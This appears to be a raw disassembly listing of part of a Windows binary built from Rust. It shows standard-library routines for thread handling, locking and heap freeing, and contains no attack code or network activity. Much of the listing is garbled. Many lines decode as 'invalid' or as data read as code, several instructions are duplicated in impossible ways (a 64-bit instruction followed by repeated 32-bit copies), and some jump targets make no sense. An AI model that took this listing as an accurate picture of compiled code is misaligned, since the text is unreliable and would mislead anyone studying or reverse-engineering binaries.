sete r8b
jmp 0x1400ee9a5
cmp r9d, 0x20
je 0x1400ee999
cmp r9d, 0x30
jne 0x1400eeab3
cmp r8d, 0x3000
sete r8b
jmp 0x1400ee9a5
movzx r8d, r8b
movzx r8d, byte [r8 + rsi]
jmp 0x1400ee9a5
sub rax, rbx
cmp rdi, rax
jae 0x1400eeac0
mov rax, rdi
jmp 0x1400eeafa
test rax, rax
je 0x1400eeaf8
cmp rdi, rax
jbe 0x1400eeafa
cmp byte [rbx + rax], 0xbf
jg 0x1400eeafa
mov qword [rbp + 0x1020], r14
mov qword [rbp + 0xfc0], rbx
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x14018dcf8]
mov edx, 0x30
call fcn.140122660
ud2
xor eax, eax
mov qword [rcx], r14
mov qword [rcx + 8], rbx
mov qword [rcx + 0x10], rax
jmp 0x1400ee967
lea r8, str.std_src_syspalwindowsos.rs
mov edx, 0x800
mov rcx, rdi
call fcn.1401225f0
mov ecx, 1
mov rdx, rdi
call fcn.140122170
int3
invalid
add byte [rax], al
mov eax, dword [rcx]
mov r9d, 0x81
add byte [rax], al
add byte [rcx - 0x77], al
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
pop rcx
invalid
cmovb edx, ecx
insb byte [rdi], dx
and al, 0x30
invalid
add eax, 0xb03fd
rol byte [rax], 0
add byte [rcx], al
jrcxz 0x1400eef2a
or eax, dword [rax]
mov rcx, qword [0x58]
mov eax, 0x48000000
test esi, esi
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
loop 0x1400eef82
invalid
call qword [rax + 0x30c48348]
invalid
test dword [rbx + rcx*4 + 0x35], 0x40095
add byte [rbp + 0x31], al
dec dword [rbx + rcx*4 + 0x25]
jae 0x1400eefaf
add al, 0
nop
invalid
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0xc0]
test eax, eax
je 0x1400ef0c4
cmp eax, 1
je 0x1400ef104
jmp 0x1400ef1ec
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb8]
lea rdx, [0x1400ecff0]
call fcn.1400ed020
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xc0], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xb8]
test rsi, rsi
jne 0x1400ef142
call fcn.14012bbb0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xb8]
lock inc qword [rsi]
jle 0x1400ef204
test rsi, rsi
je 0x1400ef1ec
lock dec byte [rsi + 0x30]
je 0x1400ef1d2
lea r14, [rsi + 0x30]
mov byte [rbp - 9], 0xff
mov r9d, 0xffffffff
cmp edi, 0x3b9aca00
je 0x1400ef1af
mov ecx, 0x3e8
mov rax, rbx
mul rcx
jo 0x1400ef1af
mov ecx, edi
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
shr ecx, 0x32
shr ecx, 0x32
add rax, rcx
jb 0x1400ef1af
imul ecx, ecx, 0xf4240
xor edx, edx
sub edi, ecx
setne dl
add rax, rdx
jb 0x1400ef1af
mov r9d, 0xffffffff
cmp rax, r9
cmp eax, ecx
cmp eax, ecx
cmovb r9, rax
lea rdx, [rbp - 9]
mov r8d, 1
mov eax, 1
mov eax, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress]
adc eax, 0x3fe76
adc eax, 0x3fe76
cmp eax, 1
je 0x1400ef1cd
call qword [sym.imp.kernel32.dll_GetLastError]
xor eax, eax
xchg byte [r14], al
lock dec qword [rsi]
dec dword [rsi]
jne 0x1400ef1e0
mov rcx, rsi
call fcn.1400ed190
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyedstd_src_threadmod.rs
lea r8, [0x140164fb8]
mov edx, 0x5e
call fcn.140122a20
ud2
or esp, dword [rsi + 0x2e]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x30]
call fcn.1400ef020
invalid
dec esp
invalid
push rbp
push rsi
push rdi
sub rsp, 0x40
lea rbp, [rsp + 0x40]
lea ebp, [rsp + 0x40]
lea ebp, [rsp + 0x40]
and al, 0x40
mov rsi, rdx
mov qword [rbp - 0x20], rcx
mov dword [rbp - 0x20], ecx
mov dword [rbp - 0x20], ecx
lea rdi, [rcx + 0x18]
lea edi, [rcx + 0x18]
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, str.NulErrorUtf8Errorvalid_up_toerror_len
mov r8d, 8
call qword [rax + 0x18]
mov qword [rbp - 0x10], rsi
mov byte [rbp - 8], al
mov qword [rbp - 0x18], 0
mov byte [rbp - 7], 0
lea r8, [0x1400eca90]
lea rsi, [rbp - 0x18]
mov rcx, rsi
mov rdx, rdi
call fcn.14000c0c0
lea r8, [0x1400ef320]
lea rdx, [rbp - 0x20]
mov rcx, rsi
call fcn.14000c0c0
mov rcx, qword [rbp - 0x18]
movzx edx, byte [rbp - 8]
test rcx, rcx
je 0x1400ef2e7
mov al, 1
test dl, 1
jne 0x1400ef307
cmp rcx, 1
jne 0x1400ef2eb
mov rsi, qword [rbp - 0x10]
cmp byte [rbp - 7], 0
je 0x1400ef2ef
test byte [rsi + 0x34], 4
jne 0x1400ef2ef
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
je 0x1400ef2ef
jmp 0x1400ef307
mov eax, edx
jmp 0x1400ef307
mov rsi, qword [rbp - 0x10]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
mov r8d, 1
call qword [rax + 0x18]
and al, 1
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
fnstenv [rcx + 0x23]
add byte [rax - 0x73], cl
loopne 0x1400ef4fe
loopne 0x1400ef4fe
loopne 0x1400ef4fe
xchg cl, al
invalid
invalid
mov edi, dword [rcx + 0x48]
or eax, 0x703eb
add byte [rax], al
add byte [rax - 0x77], cl
mov r8b, 0x48
lea eax, [0x1400d5850]
or ah, byte [rcx - 2]
invalid
or ah, byte [rcx - 2]
dec dword [rax - 0x77]
mov r8d, 0x845c748
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
sub byte [r8], r8b
add byte [rax], al
add byte [rax - 0x48], cl
mov eax, 0x20
mov eax, 0x20
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rbp - 0x50]
mov qword [rbp - 0x30], rax
lea eax, [rbp - 0x50]
fadd dword [r9]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x6fce2
add dword [rbp + 0x2c], esi
add byte [rax], al
add byte [rdx + 9], bh
invalid
add byte [rcx - 0x77], al
invalid
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
sbb dword [rax - 0x73], ecx
invalid
invalid
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
cmove rdx, rax
invalid
invalid
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
add ch, bl
add ch, bl
add eax, 0x2b9
add byte [rax - 0x75], cl
xchg ebp, eax
nop
add byte [rax], al
add dword [rax], eax
add byte [rax + 0x29], cl
invalid
fisttp dword [rax + rax]
add byte [rdi], cl
mov dh, 0x95
add byte [rcx], al
add byte [rax], al
invalid
and byte [r15], r9b
adc dword [rbp + 0x30], ecx
mov byte [rbp + 0x4a], al
invalid
mov ebp, 0x1a8
add dword [rax], eax
add byte [rcx + rcx*4 - 0x4b], cl
movabs al, byte [0x48d84d8d48000001]
lea rcx, [rbp - 0x28]
lea rdx, [rbp + 0x90]
add byte [rax], al
add byte [rax], al
or byte [r8 - 0x77], r9b
test dword [rax], esi
add dword [rax], eax
add byte [rdi], cl
adc byte [rbp - 0x28], al
clc
sub dword [rbp + 0x120], edx
add byte [rdi], cl
sub dword [rbp + 0x110], ecx
lea edx, [rbp + 0x138]
add al, byte [rax]
add byte [rbx + rcx*4 - 0x6b], cl
nop
add byte [rax], al
add byte [rbx + rcx*4 - 0x73], cl
cwde
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
mov ch, 0xa0
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rbp], al
movups xmm1, xmmword [rbp + 0x10]
movzx eax, byte [rbp + 0xc8]
mov dh, 0x85
enter 0, 0
add byte [rax], al
add byte [rdi], cl
mov dh, 0x95
xchg ebp, eax
xchg ebp, eax
retf 0
test eax, edx
add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0xe0], cl
loopne 0x1400efd2d
add byte [rax], al
loopne 0x1400efd2d
add byte [rax], al
add byte [rcx + 0x18885], cl
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x85
test byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0x18c85], cl
add byte [rax - 0x75], cl
xchg ebp, eax
nop
add dword [rax], eax
add byte [rcx - 0x80], al
inc dword [rdx]
add byte [rdi], cl
sub byte [rbp + 0x50], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rcx + rcx*4 - 0x53], cl
test al, 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax + 0x48000001], ebx
mov dword [rbp + 0x1a0], eax
add byte [rcx], al
add byte [rax], al
int1
dec dword [rax - 0x77]
test dword [rax + 0x48000000], ebx
lea rax, [rbp + 0x10]
add byte [rax], al
mov dword [rbp + 0xa8], eax
sbb ebx, dword [rsi + 7]
add byte [rax - 0x77], cl
test dword [rax], eax
add dword [rax], eax
add byte [rax - 0x39], cl
test dword [rax], ecx
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test dword [rax + 0x48000000], edx
mov dword [rbp + 0x110], eax
mov edx, dword [rbx + 0x28]
sbb al, 0x4c
mov ebp, dword [rbp + 0x178]
xchg ebp, eax
nop
add dword [rax], eax
add byte [rbx + rcx*4 - 0x43], cl
cwde
add dword [rax], eax
add byte [rax - 0x75], cl
popfq
jo 0x1400eff37
add byte [rax], al
add byte [rbp - 0x73], cl
and al, 0x17
invalid
invalid
mov dword [rbp + 0x198], eax
add byte [rax], al
shr ebx, 1
invalid
add byte [rax], al
cmp byte [rcx + 1], 0x9f
add ecx, 3
loopne case.0x140016398.4103
cmove ecx, eax
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax + 0x48000001], ebx
mov ebx, dword [rax + 0x18]
add dword [rax], eax
add byte [rcx + rcx*4 - 0x43], cl
movabs al, byte [0x3b841000001]
add byte [rcx + rcx*4 - 0x17], cl
invalid
jmp 0x14e248dbf
adc eax, 0x75d0e
ror dword [rcx - 0x7bfe4f3f], cl
leave
cmp esi, esi
add dword [rax], eax
add dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
add ebx, dword [rbp + 7]
invalid
add byte [rcx + rcx*4 - 0xf], cl
invalid
add dword [rax], eax
mov ecx, dword [0x14019f258]
or eax, 0xaf12b
ror byte [rbp - 0x77], cl
clc
pop rsp
xchg ebp, eax
test al, 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
mov ch, 0xa0
add dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
mov edx, dword [rbp + 0x190]
add byte [rax], al
mov qword [rbp + 0x1a8], r13
mov ebp, 0x1a0
add byte [rcx + rcx*4 - 0x43], cl
movabs al, byte [0x5b99058d4c000001]
invalid
invalid
and al, 0x10
push rsi
add byte [rax], al
add byte [rdi], cl
sub dword [rbp - 0x10], edi
ror byte [rax - 0x77], 0x4d
test al, 0x74
and eax, 0x2e3880f
add byte [rax], al
add byte [rax], al
insd dword [rdi], dx
invalid
add byte [rax], al
nop word cs:[rax + rax]
invalid
add byte [rdi], cl
mov bh, 0xc0
invalid
ror byte [rax - 0x7fbe2bbb], 0xe5
invalid
add byte [rax], al
mov al, 0x4c
sub eax, edi
invalid
invalid
adc dword [rax], eax
invalid
add ah, cl
nop word cs:[rax + rax]
add byte [rax], al
cmp dword [rbp - 0x50], 0
sub byte [rsp + 0x30], dh
pop rsp
lea ebp, [rsp + 0x50]
mov rsi, rdx
mov rdi, rcx
fmul dword [r8 - 0x75]
call 0x138649165
mov edx, dword [rbp - 8]
loop 0x1400f08a8
movzx edx, si
add cl, byte [rdi]
invalid
add dword [rdx], edi
fild word [rax - 0x57f403e]
sbb cl, byte [rdi]
cmp dword [rax + 0x3c000000], 0x61
add byte [rcx + riz*2], bh
invalid
add byte [rdi + rcx - 0x4a], al
ror dword [rax - 1], 0xc2
cmp eax, 0xfffffffe
clc
add al, 0x74
push rsp
add eax, 0x1c6d030
add cl, byte [rax - 0x3f16febf]
invalid
cmp byte [rbx + 0x5f], bl
mov eax, dword [rsp + 0x20]
lea ecx, [rax + rdx + 2]
add eax, 4
and al, 8
leave
mov dword [rsp], esi
adc byte [rbp + 0x67], dh
shr bl, 0x55
add byte [rcx + 0x63], cl
add al, 0x80
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
add edi, ecx
cmp ah, 1
in al, 0x41
setne al
xchg ebp, eax
invalid
rol byte [rcx], cl
add byte [rax], al
pop rsp
add byte [rax], al
add cl, ch
push 0x4cfffffd
lea eax, [0x140165808]
xlatb
mov rsi, rcx
mov rcx, rdx
call fcn.1400f1640
mov rdx, qword [rdi + 8]
cmp rax, rdx
ja 0x1400f161a
mov r10, qword [rdi]
lea rcx, [r10 + rax]
mov r11, rax
sub r11, rdx
sub ebx, edx
sub ebx, edx
jne 0x1400f1551
movzx r8d, byte [rdi + 0x10]
xor r9d, r9d
jmp 0x1400f15c5
movzx r8d, byte [rdi + 0x10]
inc r11
lea rdi, [rdx + r10]
dec rdi
iretd
xor r9d, r9d
cmp r8b, 3
jae 0x1400f1590
iretd
nop dword [rax]
cmp byte [rdi], 0x5c
je 0x1400f15ab
inc r11
dec rdi
cmp r11, 1
add dword [rbp - 0x11], esi
add dword [rbp - 0x11], esi
jmp 0x1400f15c5
fisttp dword [rcx + rax - 0x28]
lea r8, [0x1401657d8]
add byte [rax - 0x77], cl
shr eax, 0xe7
invalid
add dword [rax - 0x7b], ecx
leave
pop rbp
ret
mov qword [rbp - 0x20], rcx
mov eax, 2
jmp 0x1400f1860
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
lea r9, [rbp - 0x30]
call fcn.1400ed7b0
cmp dword [rbp - 0x18], 1
je 0x1400f1891
mov rax, qword [rbp - 0x10]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
call fcn.140122170
int3
test rax, rax
je 0x1400f1a15
test byte [rcx + rax], ch
add byte [rax], al
test byte [rcx + rax], ch
add byte [rax], al
dec rbx
movzx ecx, word [rdi + rax - 2]
cmp ecx, 0x5c
je 0x1400f18ff
add rax, 0xfffffffffffffffe
cmp ecx, 0x2f
jne 0x1400f18e0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 8]
mov r15, qword [rax + 0x10]
lea r14, [rbx + rbx]
mov r13, r15
mov qword [rbp - 0x18], rcx
jmp 0x1400f1928
mov rcx, rsi
test r12b, r12b
jne 0x1400f1998
mov r12b, 1
test r13, r13
je case.0x1400679a0.1588
lea rdx, [r13*2]
xor eax, eax
nop word [rax + rax]
cmp word [rcx + rax*2], 0x3b
je case.0x1400679a0.1558
inc rax
add rdx, 0xfffffffffffffffe
jne 0x1400f1940
mov rsi, rcx
mov rax, r13
cmp rax, rbx
jne 0x1400f1920
jmp 0x1400f1987
xor r13d, r13d
mov rsi, rcx
xor eax, eax
cmp rax, rbx
jne 0x1400f1920
jmp 0x1400f1987
lea rdx, [rax + 1]
sub r13, rdx
lea rsi, [rcx + rax*2]
lea esi, [rcx + rax*2]
lea esi, [rcx + rax*2]
add rsi, 2
xor r12d, r12d
cmp rax, rbx
jne 0x1400f1920
mov rdx, rdi
mov r8, r14
call fcn.1401220a0
test eax, eax
jne 0x1400f1920
jmp 0x1400f1a15
test r15, r15
mov rcx, qword [rbp - 0x18]
je 0x1400f19bb
cmp word [rcx + r15*2 - 2], 0x3b
jne 0x1400f19bb
mov rsi, qword [rbp - 0x10]
mov rax, qword [rsi]
sub rax, r15
cmp rax, rbx
jb 0x1400f19e9
jmp 0x1400f19ff
mov rsi, qword [rbp - 0x10]
cmp r15, qword [rsi]
jne 0x1400f19d0
mov rcx, rsi
call fcn.1400f1800
mov rcx, qword [rsi + 8]
mov word [rcx + r15*2], 0x3b
inc r15
mov qword [rsi + 0x10], r15
mov rax, qword [rsi]
sub rax, r15
cmp rax, rbx
jae 0x1400f19ff
mov rcx, rsi
mov rdx, r15
mov r8, rbx
call fcn.14012bdc0
mov rcx, qword [rsi + 8]
mov r15, qword [rsi + 0x10]
lea rcx, [rcx + r15*2]
mov rdx, rdi
mov r8, r14
call fcn.140121660
add rbx, r15
mov qword [rsi + 0x10], rbx
mov eax, 1
add rsp, 0x48
add esp, 0x48
add esp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea eax, [rbp - 1]
mov edx, 0x2b
call fcn.140122900
ud2
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
call fcn.140122af0
int3
push rbp
add byte [rax - 0x7b], cl
leave
je 0x1400f1b1d
mov al, 1
test dl, 1
jne 0x1400f1b3d
cmp rcx, 1
jne 0x1400f1b21
mov rsi, qword [rbp - 8]
cmp byte [rbp + 1], 0
je 0x1400f1b25
test byte [rsi + 0x34], 4
jne 0x1400f1b25
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
je 0x1400f1b25
jmp 0x1400f1b3d
mov eax, edx
jmp 0x1400f1b3d
mov rsi, qword [rbp - 8]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
mov r8d, 1
call qword [rax + 0x18]
invalid
sbb byte [rcx + rax], ah
and al, 1
add rsp, 0x48
pop rsi
pop rbp
ret
int1
dec esp
int3
stc
add dword [rbp + 0x77], esi
add byte [rax + rax], al
add bh, bh
ror byte [rbx + rcx*4 - 0x7b], 1
test dword [rax], eax
add al, 0
test dword [rax], eax
add al, 0
add byte [rax - 0x75], cl
test dword [rax], ecx
or byte [rax + rax], al
or byte [rax + rax], al
add byte [rax - 0x7d], cl
js 0x1400f1c0c
add byte [rdx + rbx + 0x48], dh
cmp dword [rax + 0x10], 0x11
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 6
add byte [rax - 0x73], cl
lea esp, [rax + 0x4c000003]
mov edx, esp
in al, 0xff
dec dword [rax - 0x75]
mov ch, 0xa0
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ebp, 0x3a8
test eax, esp
add eax, dword [rax]
add eax, dword [rax]
add byte [rax - 0x75], cl
test eax, edi
add eax, dword [rax]
add byte [rdi], cl
adc dword [rax + 0x10], eax
invalid
add eax, dword [rax]
add bh, bh
adc eax, 0x3d56b
or eax, 0x779cf
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x3d8], 0
add eax, dword [rax]
add byte [rax], al
adc dword [rdx + 4], esi
mov r8, qword [r8 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rbp + 0x3f0]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rax
pop rdi
pop rsi
pop rbp
ret
test dword [rdx + rax - 0x72b80000], eax
cmp al, 0x36
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x45], cl
call fcn.140009870
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
rol dword [rax], cl
add byte [rax], al
and byte [rcx + 0xf], al
adc byte [rdi + 0x30], bl
mov al, 0x48
lea ecx, [0x1400ef5a0]
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
mov dword [rbp + 0x60], 0
loopne 0x1400f287d
mov dword [rbp - 0x18], 1
sal byte [rsi + rdx - 0x50], 1
dec dword [rbx + 0xe885]
add byte [rcx + 0x7b80b045], cl
and byte [rcx], al
add byte [r9], r8b
add byte [rax], al
add byte [rax - 0x39], cl
or byte [r9], r8b
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
add byte [rax], al
add dh, al
and byte [r11], r8b
lea eax, [rbp + 0x40]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x73895
sbb byte [rax + rax*8 - 0x1017af1], al
invalid
clc
mov qword [rbp], rcx
sal dword [rax + 0x48c98401], 0x89
stc
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x40], esi
test bh, 4
mov dword [rsp + rsi*2], 0x83f9891d
leave
or byte [rsi + 0xf], ah
jle 0x1400f2a66
adc al, byte [rax]
add byte [rax], al
add eax, 0x9ba0b
mov ecx, 2
jle case.0x1400f40ab.440
add esp, 0xd0
add byte [rax], al
add al, ch
invalid
invalid
add byte [rax], al
add ah, cl
int3
int3
int3
lea ebp, [rsp + 0x80]
int1
mov dword [rbp - 0x60], eax
test al, 3
add byte [rax], al
add byte [rax - 0x39], cl
rol byte [r8], 0
add byte [rax], al
invalid
add byte [rax - 0x73], cl
ror byte [r8 - 0x77], 1
mov r8b, 0x48
mov dword [rbp - 0x48], 2
mov eax, 2
and byte [rax - 0x75], cl
ror byte [rcx - 0x15ea003d], cl
mov dword [rbx], 0xebd88900
add eax, dword [rax]
mov eax, ebx
jmp 0x1400f2ccb
invalid
sar eax, 0x20
mov dword [rbp - 0x40], 0
cmp qword [rbp - 0x10], 0
je 0x1400f2d2e
mov r8, qword [rbp - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
in eax, 0x48
mov eax, dword [rcx + 8]
mov r10, qword [rcx + 0x10]
mov r8, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov rcx, rax
mov rdx, r10
pop rbp
jmp fcn.1400f2d60
push rsp
ror byte [rcx + 0x48d889c3], 1
add esp, 0x78
invalid
add al, byte [rax]
adc byte [rcx + rcx*4 - 0x32], cl
nop word cs:[rax + rax]
add byte [rbp + 0x31], al
in al, 0x45
mov r12d, r12d
in al, 0x10
mov dh, 0x5c
invalid
add byte [rax], al
adc al, 2
loop case.0x1400bf46a.926
invalid
add al, 0x83
loop 0x1400f33a6
adc al, 4
or dh, al
or dword [r13 + 0x66], edi
mov dword [rcx + rax - 2], 0x4c6755c
add dword [rbx + 0x44], edi
movzx esi, byte [rcx]
add eax, dword [rax]
pop rsp
loopne case.0x1400bf46a.968
adc byte [rdi + rcx - 0x4a], al
invalid
or esp, edi
int1
invalid
call 0x1880f3c97
mov dword [rbp + 0x3a8], edx
mov dword [rbp + 0x128], edx
pop rbp
int3
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
sub dword [rbp - 0x7c], eax
in al, 0x48
invalid
add al, byte [rax]
add byte [rax], al
lea esi, [rbp + 0x39]
adc byte [rcx + 0xf], al
add dword [rax - 0x7b], ecx
leave
add al, 0xc1
mov rcx, qword [rax + 0xb8]
test rcx, rcx
je 0x1400f66c2
lock inc qword [rcx]
jle 0x1400f66e7
test rcx, rcx
je 0x1400f66e9
mov rdi, qword [rcx + 0x28]
lock dec qword [rcx]
jne 0x1400f6680
call fcn.1400ed190
mov rax, qword [rsi]
cmp rdi, rax
jne 0x1400f6697
mov eax, dword [rsi + 8]
cmp eax, 0xffffffff
je 0x1400f6701
inc eax
mov dword [rsi + 8], eax
jmp 0x1400f66ac
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0xc], cl
jne 0x1400f66b7
mov qword [rsi], rdi
mov dword [rsi + 8], 1
mov rax, rsi
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
lea rcx, [rsi + 0xc]
call fcn.14012be60
jmp 0x1400f66a2
call fcn.14012bbb0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xb8]
add byte [rax], al
add byte [rax], al
lock inc qword [rcx]
jg 0x1400f666c
ud2
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyedstd_src_threadmod.rs
lea r8, [0x140164fb8]
mov edx, 0x5e
call fcn.140122a20
lea rcx, str.lock_count_overflow_in_reentrant_mutexstd_src_sync_reentrant_lock.rs
lea r8, [0x140165a78]
mov edx, 0x26
call fcn.140122a20
int3
mov r12, qword [rbp - 0x10]
lea rbx, [r12 + 0x18]
test rax, rax
je 0x1400f67b5
mov r14, rdx
inc r14
sub rsi, r14
jb 0x1400f68e7
mov r15, qword [r12 + 0x28]
test r15, r15
je 0x1400f6802
mov rax, qword [rbx]
sub rax, r15
cmp r14, rax
jae 0x1400f683f
mov rcx, qword [r12 + 0x20]
add rcx, r15
mov rdx, rdi
mov r8, r14
call fcn.140121660
add r15, r14
mov qword [r12 + 0x28], r15
jmp 0x1400f6852
mov r14, qword [r12 + 0x28]
test r14, r14
je 0x1400f6888
mov rax, qword [r12 + 0x20]
cmp byte [r14 + rax - 1], 0xa
jne 0x1400f688b
mov rcx, rbx
call fcn.1400ed390
test rax, rax
jne 0x1400f68c3
mov r12, qword [rbp - 0x10]
mov r14, qword [r12 + 0x28]
mov rax, qword [rbx]
sub rax, r14
cmp rax, rsi
ja 0x1400f6896
jmp 0x1400f68b5
lea rcx, [r12 + 0x31]
mov rdx, rdi
mov r8, r14
call fcn.1400f5ff0
movabs rcx, 0xffffffff00000003
and rcx, rax
movabs rdx, 0x600000002
cmp rcx, rdx
sete cl
test rax, rax
sete dl
or dl, cl
je 0x1400f68c3
jmp 0x1400f685f
mov rcx, rbx
mov rdx, rdi
mov r8, r14
call fcn.14012c070
test rax, rax
jne 0x1400f68c3
mov rcx, rbx
call fcn.1400ed390
test rax, rax
jne 0x1400f68c3
add rdi, r14
mov r12, qword [rbp - 0x10]
mov rax, qword [r12 + 0x18]
mov r14, qword [r12 + 0x28]
sub rax, r14
cmp rsi, rax
jb 0x1400f6896
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.14012c070
jmp 0x1400f68c3
xor r14d, r14d
mov rax, qword [rbx]
sub rax, r14
cmp rax, rsi
jbe 0x1400f68b5
mov rcx, qword [r12 + 0x20]
add rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.140121660
add r14, rsi
mov qword [r12 + 0x28], r14
xor eax, eax
jmp 0x1400f68c7
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.14012c070
mov r12, qword [rbp - 0x10]
inc qword [r12 + 0x10]
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea rax, [0x14016a300]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
lea rdx, str.std_srcio_bufferedlinewritershim.rs
lea rcx, [rbp - 0x40]
call fcn.1401224d0
ud2
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
mov rsi, rcx
mov dword [rbp - 4], 0
cmp edx, 0x80
add byte [rax], al
add byte [rbx + 0xb], dh
add byte [rax], al
add byte [rbx + 0xb], dh
mov byte [rbp - 4], dl
cld
mov r8d, 1
jmp 0x1400f6a8f
mov eax, edx
cmp edx, 0x800
jae 0x1400f6a33
shr eax, 6
or al, 0xc0
mov byte [rbp - 4], al
call 0xc8cf7626
cld
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 3], dl
mov r8d, 2
add byte [rax], al
add bl, ch
pop rsp
add byte [rax], al
add bl, ch
pop rsp
cmp edx, 0x10000
jae 0x1400f6a60
shr eax, 0xc
or al, 0xe0
mov byte [rbp - 4], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
